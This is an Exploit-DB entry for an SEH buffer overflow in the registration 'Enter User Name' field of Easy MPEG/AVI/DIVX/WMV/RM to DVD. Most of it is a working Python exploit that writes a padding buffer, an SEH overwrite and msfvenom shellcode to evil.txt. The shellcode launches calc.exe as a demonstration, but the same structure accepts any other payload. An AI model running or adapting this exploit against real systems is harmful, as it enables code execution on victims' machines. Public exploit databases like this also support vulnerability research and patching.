Easy MPEG/AVI/DIVX/WMV/RM to DVD - 'Enter User Name' Buffer Overflow (SEH)

EDB-ID: 43104
Author: Venkat Rajgor
Published: 2017-10-05
CVE: N/A
Type: Local
Platform: Windows
Vulnerable App: Download Vulnerable Application

    
###############################################################################
# Exploit Title: Easy MPEG/AVI/DIVX/WMV/RM to DVD - 'Enter User Name' Field Buffer Overflow (SEH)
# Date: 05-10-2017
# Exploit Author: Venkat Rajgor
# Vendor Homepage: http://www.divxtodvd.net/
# Software Link: http://www.divxtodvd.net/easy_video_to_dvd.exe
# Tested On: Windows 7 x64
#
#
# To reproduce the exploit:
# 1. Click Register
# 2. In the "Enter User Name" field, paste the content of evil.txt
#
##############################################################################
filename="evil.txt"

buffer = "\x41" * 1008 #Buffer

nSEH = "\xEB\x06\x90\x90" #short Jump

SEH = "\x59\x78\x03\x10" #SEH

badchars = "\x00\x0A\x0D\x1A" # Bad Chars

# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f c # Payload To Pop Calc

shell=(
"\xba\xf5\xed\x50\xfa\xdb\xde\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x31\x31\x56\x13\x83\xc6\x04\x03\x56\xfa\x0f\xa5\x06\xec\x52"
"\x46\xf7\xec\x32\xce\x12\xdd\x72\xb4\x57\x4d\x43\xbe\x3a\x61"
"\x28\x92\xae\xf2\x5c\x3b\xc0\xb3\xeb\x1d\xef\x44\x47\x5d\x6e"
"\xc6\x9a\xb2\x50\xf7\x54\xc7\x91\x30\x88\x2a\xc3\xe9\xc6\x99"
"\xf4\x9e\x93\x21\x7e\xec\x32\x22\x63\xa4\x35\x03\x32\xbf\x6f"
"\x83\xb4\x6c\x04\x8a\xae\x71\x21\x44\x44\x41\xdd\x57\x8c\x98"
"\x1e\xfb\xf1\x15\xed\x05\x35\x91\x0e\x70\x4f\xe2\xb3\x83\x94"
"\x99\x6f\x01\x0f\x39\xfb\xb1\xeb\xb8\x28\x27\x7f\xb6\x85\x23"
"\x27\xda\x18\xe7\x53\xe6\x91\x06\xb4\x6f\xe1\x2c\x10\x34\xb1"
"\x4d\x01\x90\x14\x71\x51\x7b\xc8\xd7\x19\x91\x1d\x6a\x40\xff"
"\xe0\xf8\xfe\x4d\xe2\x02\x01\xe1\x8b\x33\x8a\x6e\xcb\xcb\x59"
"\xcb\x23\x86\xc0\x7d\xac\x4f\x91\x3c\xb1\x6f\x4f\x02\xcc\xf3"
"\x7a\xfa\x2b\xeb\x0e\xff\x70\xab\xe3\x8d\xe9\x5e\x04\x22\x09"
"\x4b\x67\xa5\x99\x17\x46\x40\x1a\xbd\x96")

evil = "\x90"*20 + shell

buffer = "A"*1008 + "\xEB\x06\x90\x90"+ "\x59\x78\x03\x10" + evil


textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

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